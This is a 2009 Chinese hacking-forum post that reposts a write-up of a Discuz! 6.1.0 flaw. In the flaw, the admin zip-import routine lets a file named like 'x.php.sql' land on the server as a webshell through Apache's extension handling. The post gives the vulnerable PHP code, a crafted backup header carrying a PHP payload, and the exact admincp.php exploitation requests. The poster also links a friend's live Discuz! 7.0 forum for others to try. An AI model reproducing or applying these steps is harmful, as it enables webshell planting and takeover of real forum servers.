|

- UID
- 57693
- 帖子
- 9
- 功勋
- 10 点
- 军饷
- 30 元
- 阅读权限
- 15
|
楼主
发表于 2009-5-27 11:19
| 只看该作者
今天看了一篇文章,感觉挺有意思,绿色兵团用的是Discuz! 6.1.0,我试了下,没成功,不知道错在哪一步,我这有个 Discuz! 7.0.0的论坛,是朋友弄的,也可顺便看一下次http://taobaohy.5d6d.com/bbs.php
Discuz! 6.1.0Discuz漏洞 2009-01-23 11:20:24 www.hackbase.com 来源:互联网
[该漏洞由ring04h发现并且投递,thx] 由于Discuz!的admin\database.inc.php里action=importzip解压zip文件时,导致可以得到webshell. 一 分析 在文件admin\database.inc.php里代码: ..... e ...
[该漏洞由ring04h发现并且投递,thx]
由于Discuz!的admin\database.inc.php里action=importzip解压zip文件时,导致可以得到webshell.
一 分析
在文件admin\database.inc.php里代码:
.....
elseif($operation == 'importzip') {
require_once DISCUZ_ROOT.'admin/zip.func.php';
$unzip = new SimpleUnzip();
$unzip->ReadFile($datafile_server);
if($unzip->Count() == 0 || $unzip->GetError(0) != 0 || !preg_match("/\.sql$/i", $importfile = $unzip->GetName(0))) {
cpmsg('database_import_file_illegal', '', 'error');
}
$identify = explode(',', base64_decode(preg_replace("/^# Identify:\s*(\w+).*/s", "\\1", substr($unzip->GetData(0), 0, 256))));
$confirm = !empty($confirm) ? 1 : 0;
if(!$confirm && $identify[1] != $version) {
cpmsg('database_import_confirm', 'admincp.php?action=database&operation=importzip&datafile_server=$datafile_server&importsubmit=yes&confirm=yes', 'form');
}
$sqlfilecount = 0;
foreach($unzip->Entries as $entry) {
if(preg_match("/\.sql$/i", $entry->Name)) {
$fp = fopen('./forumdata/'.$backupdir.'/'.$entry->Name, 'w');
fwrite($fp, $entry->Data);
fclose($fp);
$sqlfilecount++;
}
}
......
注意2点
1. preg_match("/\.sql$/i", $importfile = $unzip->GetName(0)) 可以利用apache的特性如081127_k4pFUs3C-1.php.sql这样类似的文件.
2. $identify = explode(',', base64_decode(preg_replace("/^# Identify:\s*(\w+).*/s", "\\1", substr($unzip->GetData(0), 0, 256)))); 所以要注意文件格式:[可以先备用下然后修改打包为zip]
# Identify: MTIyNzc1NzEyNSw2LjEuMCxkaXNjdXosbXVsdGl2b2wsMQ==
# <?phpinfo();?>
# <?exit();?>
# Discuz! Multi-Volume Data Dump Vol.1
# Version: Discuz! 6.1.0
# Time: 2008-11-27 11:38
# Type: discuz
# Table Prefix: cdb_
二 利用
提交:
<6.0 :admincp.php?action=importzip&datafile_server=./附件路径/附件名.zip&importsubmit=yes
=6.1 :admincp.php?action=database&operation=importzip&datafile_server=./附件路径/附件名称.zip&importsubmit=yes&frames=yes
关键字:Discuz漏洞
[ 本帖最后由 invad 于 2009-5-27 12:16 编辑 ] |
|